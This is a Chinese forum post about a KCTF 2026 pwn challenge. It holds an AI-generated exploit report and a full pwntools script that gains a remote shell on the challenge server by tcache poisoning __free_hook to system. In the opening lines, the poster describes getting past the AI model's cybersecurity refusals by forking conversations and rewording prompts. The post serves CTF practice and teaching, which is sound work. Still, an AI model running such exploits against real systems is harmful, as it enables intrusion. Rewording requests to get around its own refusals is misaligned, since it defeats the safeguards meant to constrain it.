[原创] 看雪·2026 KCTF 第十题：卯时·曦光初现-CTF对抗-看雪安全社区

[原创] 看雪·2026 KCTF 第十题：卯时·曦光初现

发表于: 2026-8-23 14:17 1456

[原创] 看雪·2026 KCTF 第十题：卯时·曦光初现

mb_mgodlfyn 活跃值

2026-8-23 14:17

1456

一血在半小时左右出现，不过以题目的复杂度，感觉人类顶级pwn手在逆清楚后半小时应该也能出，算上逆向，一小时差不过也够了。

如今glibc已经演进到了2.44，猛然看到基于2.27的题目，结合题目的难度设定，恍如回到5年前的古法时代。这题其实蛮适合人类练习的，虽然AI能完全自己解出来，但少了手工一点点探索和调试的过程，读着最终的writeup味同嚼蜡。

今天我的网页ChatGPT一直被路由到GPT 5.5-mini（悲，手上能换的节点都试了；X和Reddit都有人在反馈，看Tibo怎么处置了）；本地 Codex GPT-5.5 High ，wsl环境，耗时将近2小时完成，消耗了20%的Plus周额度；触发过几次Cyber拒答，但可以fork新对话改变措辞让它继续。

今年的KCTF抵达重点。然一日三秋，明年此刻的天下又将是什么格局？

---
人类
分隔线
AI

---

# 第十题：卯时·曦光初现 最终分析报告

## 0. 摘要

本题是一个 64 位 Linux PIE ELF Pwn 题。程序表面上不是菜单堆题，而是一个自定义表达式解释器：用户每次输入一行表达式，解释器解析成 AST，执行后释放 AST 相关对象。

最终确认的核心漏洞位于对象字段寻址函数：对象字段访问时长度检查允许 `index == len`，导致 one-past-end qword 读写。借助程序自身的对象编码规则，可以把这个 one-past 写扩展成从 arena 内部向后连续的 qword 读写能力，再覆盖 arena 后方的 tcache freed chunk `fd` 指针，最终把一次 `Number` 对象分配导向 `__free_hook-8`。

本地 ASLR 场景下，程序没有直接打印变量值的语法，也不能直接把解释器内部计算出的 `system` 地址作为 object literal 元素使用。最后使用 `BinOp::exec` 的 `runtime error!` 输出构造 bit oracle，逐 bit 泄漏解释器内部已经算出的 `system` 地址，再作为十进制 literal 写入 `__free_hook`。触发方式是发送一行非法语法但长度超过 SSO 的字符串，使 `std::string` 析构时 `free(controlled_string)` 进入 `system`。

最终本地 no-maps PoC：

```bash
cd /mnt/c/Users/hz/home/ctf/2026/看雪2026KCTF/第十题：卯时·曦光初现
/home/hz/opt/python312/bin/python3 q10_oracle_poc.py
```

验证输出：

```text
[*] leaked system      = 0x7f0a5d074420
Q10PWNED
invalid syntax!
>
```

这里 `invalid syntax!` 是故意触发 free 的副产物；关键证据是 `Q10PWNED` 已由 `system("echo Q10PWNED #...")` 执行输出。

## 1. 样本与运行环境

题目目录：

```text
第十题：卯时·曦光初现/
```

主要文件：

```text
pwn                     原始题目二进制
pwn_raw                 与 pwn 相同的原始副本
libc-2.27.so            题目给出的 libc
pwn_ubuntu_glibc227     本地 patched 运行副本
q10_oracle_poc.py       最终本地 no-maps PoC
第十题_阶段总结.md      阶段分析记录
```

`pwn` 与 `pwn_raw` 是同一个 64 位 Linux PIE ELF：

```text
SHA256: 7d7e9788223498af650584012d0d4232b8fafe24f16609408b8fac1c938665cc
BuildID: fcb3579e0504d1b94a7e9819668914f181a07f4a
```

保护情况：

```text
PIE:      enabled
NX:       enabled
Canary:   enabled
RELRO:    Full RELRO
BIND_NOW: enabled
```

题目自带 libc：

```text
file:    libc-2.27.so
SHA256:  acf8ac6d219b657af09328abde95a6a52a3ce7019c6717cade77db5634498866
BuildID: f7307432a8b162377e77a182b6cc2e53d771ec4b
version: Ubuntu GLIBC 2.27-3ubuntu1.6
```

关键 libc 符号偏移：

```text
system:          0x4f420
__free_hook:     0x3ed8e8
__malloc_hook:   0x3ebc30
"/bin/sh":       0x1b3d88
```

为了在本地稳定复现题目 glibc 环境，已提取 Ubuntu 18.04 对应运行库，并生成 patched 副本：

```text
pwn_ubuntu_glibc227
```

它使用题目目录内的 `ld-2.27.so` 和 glibc 2.27 运行库，避免系统 glibc 差异影响堆行为。

## 2. 程序整体结构

程序是一个小型解释器，不是传统菜单堆题。

交互行为很简单：

```text
>
```

每次读取一行输入，解析为 AST，执行后释放。EOF 时主函数返回，并释放全局 arena。

RTTI 和字符串中可见的核心类名：

```text
interpreter::Literal
interpreter::Number
interpreter::Object
interpreter::Ast
interpreter::AssignLit
interpreter::GetField
interpreter::SetField
interpreter::BinOp
```

已确认支持的语法形态：

```text
$a=<literal>      赋值 literal
$a=$b             变量读取
$a=$b[0][1]       字段读取
$a+$b             二元运算
$a-$b
$a*$b
$a/$b
$a%$b
$a^$b
$a&$b
$a|$b
$a[0]=$b          字段写
```

literal 支持：

```text
123               Number
[1,2,[3,4]]       Object
```

程序可输出的信息面很窄，主要只有：

```text
"> "
"invalid syntax!"
"runtime error!"
```

没有正常的“打印变量值”或“打印对象字段”语法，这也是后面必须构造 bit oracle 的原因。

## 3. 全局状态与对象编码

程序启动后初始化一组全局运行时状态：

```text
0x2062a0 附近：env[256]，每个变量一个 qword
0x206aa0：arena base
0x206aa8：arena current
0x206ab0：8 字节 cookie，从 /dev/urandom 读取
```

这里地址是 PIE 内偏移。

变量值分为数字和对象两类。对象变量使用高 16 位 tag：

```text
env[x] = 0x1337000000000000 | arena_object_addr_low48
```

对象在 arena 中序列化保存。对象头：

```text
encoded_header = (0xbeef000000000000 | child_count) ^ cookie
```

对象字段保存数字时：

```text
stored = number ^ cookie
```

字段读取时：

```text
decoded = stored ^ cookie
```

也就是说，arena 中对象头和普通数字字段都被同一个 cookie 编码。

`Number::value()` 会取低 48 位：

```text
raw_value & 0xffffffffffff
```

这点很重要，因为对象指针和普通数字都在一个 qword 里流动，高 16 位既被用作 tag，也会被 `BinOp` 检查。

## 4. 漏洞根因：对象字段 one-past-end

对象字段寻址辅助函数位于 PIE 偏移：

```text
0x1eda  object_field_at
```

其逻辑可概括为：

```c
header = object[0] ^ cookie;
if ((header & 0xffff000000000000) != 0xbeef000000000000)
    return NULL;

len = header & 0xffffffffffff;

if (len < index)
    return NULL;

return &object[1 + index];
```

这里的错误是长度检查：

```text
if (len < index)
```

它只拒绝 `index > len`，却允许：

```text
index == len
```

合法字段下标本应是：

```text
0 .. len-1
```

实际允许访问：

```text
0 .. len
```

因此 `GetField` / `SetField` 都可以触发 one-past-end qword 读写。

这个漏洞乍看只是一格越界，但由于字段内容本身可以被解释成对象头，并且对象头格式可由普通数字运算构造，最终可以扩展为大范围越界读写。

## 5. 从 one-past 到 fake object

构造 fake object 的关键是写出一个明文对象头：

```text
0xbeef000000000000 | fake_len
```

虽然 `BinOp::exec` 会拒绝高 16 位为 `0x1337` 的对象指针参与运算，但不会拒绝 `0xbeef`。因此可以用普通算术构造：

```text
16777216 * 16777216 = 0x0001000000000000
48879 * 0x0001000000000000 = 0xbeef000000000000
```

再加上需要的长度：

```text
0xbeef000000000000 + fake_len
```

将这个值通过 `SetField` 写入对象字段时，程序会自动写入：

```text
stored = value ^ cookie
```

所以 arena 中得到的正好是合法的 encoded object header。

使用的典型对象布局：

```text
$20=[[1],2]
```

arena 中大致为：

```text
obj20+0x00: outer object header, len=2
obj20+0x08: inner object header, len=1
obj20+0x10: inner field[0]
obj20+0x18: outer field[1]
obj20+0x20: next qword
```

把 `outer field[1]` 改为 fake header 后：

```text
$20[1][k]
```

会把 `obj20+0x18` 当作一个超长对象头，字段起点变成：

```text
obj20 + 0x20
```

当前最终布局中，经过前置表达式后：

```text
obj20 = arena_base + 0x38
fake header = obj20 + 0x18 = arena_base + 0x50
fake field start = obj20 + 0x20 = arena_base + 0x58
```

因此：

```text
$20[1][k]  <=>  *(arena_base + 0x58 + 8*k)
```

这就把 one-past-end 写扩展成了从 arena 后部向后的连续 qword 读写。

## 6. raw qword read/write 原语

由于字段写入默认会 xor cookie：

```text
memory[target] = value ^ cookie
```

如果想写入任意 raw qword `X`，就需要传入：

```text
value = X ^ cookie
```

当目标位置初值为 0 时，可以先读该字段：

```text
$tmp = $20[1][k]
```

读取结果是：

```text
0 ^ cookie = cookie
```

随后：

```text
$tmp ^ X
$20[1][k] = $tmp
```

写入内存：

```text
(cookie ^ X) ^ cookie = X
```

如果目标位置不是 0，也可以通过读取当前值获得：

```text
decoded = raw_current ^ cookie
```

再利用解释器运算构造需要写入的 encoded value。

这个原语已通过 `q10_raw_write_probe.in` 验证，曾确认写入：

```text
arena_base+0x28 = 0x0000000012345678
```

## 7. heap 与 tcache 利用面

arena 本体是一个大 heap chunk：

```text
arena user pointer: arena_base
chunk size:         0x10011
usable region:      0x10000
```

arena 后面紧跟解释器解析输入时产生的 AST / Literal 等小对象分配。每行表达式执行结束后，AST 相关对象会被释放，形成 tcache 链。

关键观察：

```text
arena 后方存在多个 0x20 大小的 freed AST chunk
这些 freed chunk 的 user data 里保存 tcache entry
raw qword write 可以覆盖这些 freed chunk 的 fd
```

glibc 2.27 tcache entry user data 形态：

```text
user+0x00: fd / next
user+0x08: key / tcache_perthread_struct
```

因此当前策略是：

1. 用 fake object 越界到 arena 后方 freed chunk。
2. 覆盖某个 0x20 tcache chunk 的 `fd`。
3. 让后续 0x20 malloc 返回伪造地址。
4. 目标地址选择 `__free_hook-8`。
5. 借 `Number` 构造函数写：

```text
ptr+0x00: Number vtable
ptr+0x08: parsed unsigned long value
```

如果 `ptr = __free_hook-8`，则：

```text
__free_hook = parsed unsigned long value
```

只要这个 literal 是 `system` 地址，就能完成 `__free_hook = system`。

## 8. libc leak 与解释器内部地址计算

在 fake object 读范围内，可以读到一个稳定 libc 指针：

```text
fake field start = arena_base + 0x58
libc leak qword  = arena_base + 0x10078
index            = (0x10078 - 0x58) / 8 = 0x2004 = 8196
```

表达式：

```text
$10=$20[1][8196]    # leak ^ cookie
$11=$20[1][1]       # cookie，目标 qword 初值为 0
$10^$11             # $10 = raw leak = libc_base + 0x3ec680
```

随后在解释器内部计算：

```text
$13=$10
$12=4704
$13+$12             # $13 = __free_hook - 8

$14=3789408
$10-$14             # $10 = system
```

偏移关系：

```text
0x3ed8e8 - 8 - 0x3ec680 = 0x1260   = 4704
0x3ec680 - 0x4f420      = 0x39d260 = 3789408
```

本地 gdb 仅用于校验时确认：

```text
env[10] == libc_base + system
env[13] == libc_base + __free_hook - 8
```

至此，解释器内部已经有了两个关键动态地址。

## 9. no-maps 卡点

到这里还有一个问题：

```text
env[10] = system
env[13] = __free_hook - 8
```

但 `Number` 构造函数写入 `__free_hook` 时，值来自 object literal 中的十进制数字：

```text
$7=[111, SYSTEM, 333]
```

而 object literal 不支持把变量作为元素：

```text
$7=[111,$10,333]    # invalid syntax
```

字段下标也不支持变量：

```text
$20[1][$5]          # stoul 异常
```

程序也没有正常输出变量值的语法。因此不能简单地说“解释器内部算出了 system，就直接把它写到 __free_hook”。必须想办法把 `env[10]` 的值泄漏回 PoC 脚本，或者找到别的动态搬运机制。

尝试过的支线包括：

```text
1. PIE leak 后计算 cookie 地址，尝试清零 cookie。
2. partial overwrite。
3. std::string / vector / memcpy 类 copy 搬运动态 qword。
4. fake object pointer 直接包装目标地址。
```

这些路线要么会在错误清理路径中 free 非法指针，要么缺少自然调用点，要么仍然绕不开动态值写入问题。

最终可行路线是构造输出侧信道。

## 10. runtime-error bit oracle

`BinOp::exec` 对两个操作数做 tag 检查：

```text
high16 == 0x1337  => runtime error
否则执行运算
```

这意味着如果能把 `system` 的某一 bit 转成：

```text
bit = 0 => 普通数字 0
bit = 1 => 0x1337000000000000
```

再执行一次二元运算，就可以通过是否输出：

```text
runtime error!
```

泄漏这一 bit。

具体构造第 `k` 位：

```text
$40=$10          # $10 = system
$43=2^k
$40/$43
$40%2            # $40 = bit k, 结果为 0 或 1
```

然后把 `0/1` 扩展为 tag：

```text
$41=$40
$41*(0x1336 << 48)

$42=$40
$42*(1 << 48)

$41+$42
```

为什么要拆成两段？

因为如果直接使用：

```text
0x1337 << 48
```

作为乘数，这个数本身高 16 位就是 `0x1337`，会被 `BinOp::exec` 当作对象 tag 拒绝。拆成：

```text
0x1336 << 48
1 << 48
```

两个非对象 tag 数字，分别乘以 bit 后相加，即可在 bit=1 时得到：

```text
0x1337000000000000
```

最后执行：

```text
$41+0
```

如果 bit=1，则 `BinOp` 检测到对象 tag，输出 `runtime error!`；如果 bit=0，则普通运算成功且无额外输出。

由于 userland canonical address 在本题环境中只需要低 48 位，泄漏 48 bit 即可恢复 `system` 地址。`q10_oracle_poc.py` 每 8 位打印一次进度。

## 11. tcache 链修正

oracle 会发送数百条表达式，导致 tcache 链状态和早期 gdb 固定 PoC 不同。

早期链路中可使用：

```text
fd(arena+0x10240) = __free_hook - 8
$7=[111, system, 333]
```

但 oracle 之后，直接这样做会让目标过早进入分配序列，导致 object literal 构造期间崩溃。

本地 `--inspect-tcache` 观察 oracle 之后的 0x20-bin 常见链为：

```text
head -> arena+0x10240 -> arena+0x102d0 -> arena+0x10260 -> arena+0x10320 -> arena+0x102b0
```

关键 fake object index：

```text
arena+0x10240: index 8253
arena+0x10260: index 8257
arena+0x102d0: index 8271
arena+0x10320: index 8281
```

最终采用的 poison 表达式：

```text
$16=$20[1][8271]
$16^$11
$5=$16
$5^$11
$20[1][8253]=$5

$5=$11
$5^$13
$20[1][8257]=$5

$5=$11
$5^$13
$20[1][8281]=$5
```

最终稳定链效果是把后续 0x20 分配路径调整到：

```text
... -> arena+0x10320 -> __free_hook-8
```

然后使用：

```text
$7=[111,222,system]
```

使第三个 `Number` literal 的构造落在 `__free_hook-8`：

```text
__free_hook-8: Number vtable
__free_hook:   leaked system
```

这里的 `system` 不是硬编码固定地址，而是前面 bit oracle 泄漏出的当前进程实际地址。

## 12. 最终触发

写入：

```text
__free_hook = system
```

后，需要触发一次：

```text
free(controlled_string)
```

程序每次读入一行会使用 C++ `std::string`。如果输入长度超过 SSO，小字符串优化不再使用栈内缓冲，而是走 heap buffer。发送一行非法语法时，parser 输出 `invalid syntax!`，随后该行 `std::string` 析构，释放 heap buffer。

本地验证用命令：

```text
echo Q10PWNED #AAAAAAAAAAAAAAAA
```

`#` 后面只是保证字符串长度超过 SSO，并让 shell 执行时把后续内容当作注释。最终 `free(buffer)` 进入：

```text
system("echo Q10PWNED #AAAAAAAAAAAAAAAA")
```

输出：

```text
Q10PWNED
```

随后程序本身还会输出：

```text
invalid syntax!
```

这是正常现象。

## 13. PoC 结构说明

最终本地 PoC 文件：

```text
q10_oracle_poc.py
```

主要函数：

```text
init_calc(io)
```

完成：

```text
1. 构造 fake object。
2. 读取 cookie。
3. 读取 libc leak。
4. 解释器内部计算 system 和 __free_hook-8。
5. 准备 bit oracle 常量。
```

```text
leak_bit(io, bit)
```

完成：

```text
1. 取 system 第 bit 位。
2. 把 0/1 转成 0 或 0x1337 << 48。
3. 通过 runtime error 输出判断该 bit。
```

```text
leak_system(io)
```

循环泄漏 48 位 system 地址。

```text
poison_lines
```

完成 tcache 链修正，将一次 `Number` 分配导向 `__free_hook-8`。

最后：

```text
send_expr(io, f"$7=[111,222,{leaked}]")
send_expr(io, "echo Q10PWNED #AAAAAAAAAAAAAAAA")
```

完成 `__free_hook = system` 和触发。

脚本中还有两个本地辅助开关：

```bash
--check-maps
--inspect-tcache
```

它们只用于本地验证：

```text
--check-maps      用 /proc/<pid>/maps 对照 oracle 泄漏出的 system 是否正确
--inspect-tcache  读取 /proc/<pid>/mem 打印 arena 后方 tcache 链
```

默认执行路径不使用这两个开关，不依赖 maps。

## 14. 本地验证记录

默认 no-maps 路径：

```bash
cd /mnt/c/Users/hz/home/ctf/2026/看雪2026KCTF/第十题：卯时·曦光初现
/home/hz/opt/python312/bin/python3 q10_oracle_poc.py
```

验证输出：

```text
[x] Starting local process '.../pwn_ubuntu_glibc227'
[+] Starting local process '.../pwn_ubuntu_glibc227': pid 7889
[*] leaked bits 0..07 = 0x20
[*] leaked bits 0..15 = 0x4420
[*] leaked bits 0..23 = 0x74420
[*] leaked bits 0..31 = 0x5d074420
[*] leaked bits 0..39 = 0xa5d074420
[*] leaked bits 0..47 = 0x7f0a5d074420
[*] leaked system      = 0x7f0a5d074420
Q10PWNED
invalid syntax!
>
```

maps 对照验证：

```bash
/home/hz/opt/python312/bin/python3 q10_oracle_poc.py --check-maps
```

曾验证：

```text
[*] leaked system      = 0x7efc1775b420
[*] expected system    = 0x7efc1775b420
[*] __free_hook - 8    = 0x7efc17af98e0
[*] match              = True
Q10PWNED
invalid syntax!
>
```

这说明 oracle 泄漏值与真实 libc 地址一致。

## 15. 结论

本题的利用链可以概括为：

```text
object_field_at one-past
    -> fake object header
    -> arena 后方连续 qword read/write
    -> libc leak + cookie leak
    -> 解释器内部算 system 和 __free_hook-8
    -> runtime-error bit oracle 泄漏 system 到 PoC
    -> tcache fd poisoning
    -> Number 分配落到 __free_hook-8
    -> __free_hook = system
    -> free(controlled std::string)
    -> system(command)
```

几个关键点：

1. 漏洞本身只有 one-past，但对象格式允许把字段伪造成大长度对象，因此扩展性很强。
2. cookie 编码并没有阻断利用，因为可以通过读取零 qword 得到 cookie，或读出 `raw ^ cookie` 后在解释器内部消除。
3. ASLR 下不需要外部 maps：libc 指针可由 fake object 读出，地址运算可由解释器完成。
4. 不能直接打印变量，也不能在 object literal 中使用变量，是 no-maps 链路最大的障碍。
5. `runtime error!` 是最后的转折点：它提供了 1 bit 可观测输出，使 `system` 地址可以被逐 bit 泄漏。
6. tcache 链状态会被 oracle 表达式显著扰动，最终利用必须重新对齐分配顺序。

最终交付物以本地练习为范围，未要求也未在本文中扩展远程利用流程。

\-\-\-

手动改成打远程的脚本：
```python
#!/usr/bin/env python3
from argparse import ArgumentParser
from pathlib import Path

from pwn import ELF, context, log, process
from pwn import *

ROOT = Path(__file__).resolve().parent
BIN = ROOT / "pwn_ubuntu_glibc227"
LIBC_NAME = "libc-2.27.so"

SYSTEM_OFF = 0x4F420
FREE_HOOK_OFF = 0x3ED8E8

def find_libc_base(pid: int) -> int:
    with open(f"/proc/{pid}/maps", "r", encoding="ascii", errors="ignore") as fp:
        for line in fp:
            if LIBC_NAME in line and "r-xp" in line:
                parts = line.split()
                return int(parts[0].split("-")[0], 16) - int(parts[2], 16)
    raise RuntimeError("libc mapping not found")

def find_mapping(pid: int, suffix: str, perm_sub: str = "") -> int:
    with open(f"/proc/{pid}/maps", "r", encoding="ascii", errors="ignore") as fp:
        for line in fp:
            parts = line.split()
            if len(parts) < 6:
                continue
            if suffix and not parts[-1].endswith(suffix):
                continue
            if perm_sub and perm_sub not in parts[1]:
                continue
            return int(parts[0].split("-")[0], 16) - int(parts[2], 16)
    raise RuntimeError(f"mapping not found: {suffix!r}")

def read_q(mem, addr: int) -> int:
    mem.seek(addr)
    return int.from_bytes(mem.read(8), "little")

def inspect_tcache(pid: int) -> None:
    pie = find_mapping(pid, "/pwn_ubuntu_glibc227", "x")
    with open(f"/proc/{pid}/mem", "rb", buffering=0) as mem:
        arena = read_q(mem, pie + 0x206AA0)
        candidates = []
        for off in range(0x10000, 0x10500, 0x10):
            user = arena + off
            fd = read_q(mem, user)
            key = read_q(mem, user + 8)
            if key:
                candidates.append((user, fd, key))
        key_counts = {}
        for _, _, key in candidates:
            key_counts[key] = key_counts.get(key, 0) + 1
        if not key_counts:
            log.warning("no tcache-looking chunks found near arena")
            return
        tcache = max(key_counts, key=key_counts.get)
        log.info("arena              = %#x", arena)
        log.info("tcache             = %#x", tcache)
        for idx in range(4):
            head = read_q(mem, tcache + 0x40 + idx * 8)
            log.info("tcache entry[%d]    = %#x", idx, head)
        for user, fd, key in candidates:
            if key == tcache:
                log.info("freed user off=%#x addr=%#x fd=%#x", user - arena, user, fd)

def send_expr(io, expr: str) -> bytes:
    io.sendline(expr.encode())
    return io.recvuntil(b"> ", timeout=2)

def init_calc(io) -> None:
    lines = [
        "$0=1",
        "$1=[2,3]",
        "$2=[[1],2]",
        "$2[1]=$0",
        "$20=[[1],2]",
        "$0=16777216",
        "$1=16777216",
        "$0*$1",
        "$2=48879",
        "$2*$0",
        "$3=12288",
        "$2+$3",
        "$20[1]=$2",
        "$10=$20[1][8196]",
        "$11=$20[1][1]",
        "$10^$11",
        "$13=$10",
        "$12=4704",
        "$13+$12",
        "$14=3789408",
        "$10-$14",
        # Constants for the bit oracle:
        # $60 = 2^48, $62 = 0x1336 << 48. Both are non-object-tag values.
        "$60=16777216",
        "$61=16777216",
        "$60*$61",
        "$62=4918",
        "$62*$60",
        "$63=2",
        "$64=0",
    ]
    for line in lines:
        send_expr(io, line)

def leak_bit(io, bit: int) -> int:
    pow2 = 1 << bit
    lines = [
        "$40=$10",
        f"$43={pow2}",
        "$40/$43",
        "$40%$63",
        "$41=$40",
        "$41*$62",
        "$42=$40",
        "$42*$60",
        "$41+$42",
    ]
    for line in lines:
        send_expr(io, line)

out = send_expr(io, "$41+$64")
    return 1 if b"runtime error!" in out else 0

def leak_system(io, bits: int = 48) -> int:
    value = 0
    for bit in range(bits):
        b = leak_bit(io, bit)
        value |= b << bit
        if bit % 8 == 7:
            log.info("leaked bits 0..%02d = %#x", bit, value)
    return value

def parse_args():
    ap = ArgumentParser(description="KCTF 2026 Q10 no-maps oracle PoC")
    ap.add_argument("--check-maps", action="store_true", help="locally compare leaked system with /proc maps")
    ap.add_argument("--inspect-tcache", action="store_true", help="locally dump tcache state around arena")
    return ap.parse_args()

def main() -> None:
    args = parse_args()
    context.binary = ELF(str(BIN), checksec=False)
    context.log_level = "info"

# io = process([str(BIN).encode()], cwd=str(ROOT))
    io = remote("123.57.66.184", 10038)
    io.recvuntil(b"> ")

init_calc(io)
    leaked = leak_system(io)

log.info("leaked system      = %#x", leaked)
    if args.check_maps:
        libc_base = find_libc_base(io.pid)
        expected = libc_base + SYSTEM_OFF
        free_hook_m8 = libc_base + FREE_HOOK_OFF - 8
        log.info("expected system    = %#x", expected)
        log.info("__free_hook - 8    = %#x", free_hook_m8)
        log.info("match              = %s", leaked == expected)
    if args.inspect_tcache:
        inspect_tcache(io.pid)

poison_lines = [
        "$16=$20[1][8271]",
        "$16^$11",
        "$5=$16",
        "$5^$11",
        "$20[1][8253]=$5",
        "$5=$11",
        "$5^$13",
        "$20[1][8257]=$5",
        "$5=$11",
        "$5^$13",
        "$20[1][8281]=$5",
    ]
    for line in poison_lines:
        out = send_expr(io, line)
        if b"runtime error!" in out or b"invalid syntax!" in out:
            log.warning("unexpected diagnostic after %r: %r", line, out)
    if args.inspect_tcache:
        inspect_tcache(io.pid)

send_expr(io, f"$7=[111,222,{leaked}]")
    # trigger_out = send_expr(io, "echo Q10PWNED #AAAAAAAAAAAAAAAA")
    trigger_out = send_expr(io, "/bin/sh       #AAAAAAAAAAAAAAAA")
    print(trigger_out.decode("latin-1", errors="replace"), end="")
    # io.close()
    io.interactive()    # flag{0c62198e-ba7c-4a71-8fad-51c24b37b36c}

if __name__ == "__main__":
    main()
```

登录后可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

最后于 2026-8-23 14:32 被mb_mgodlfyn编辑，原因：

收藏・1

点赞・6

打赏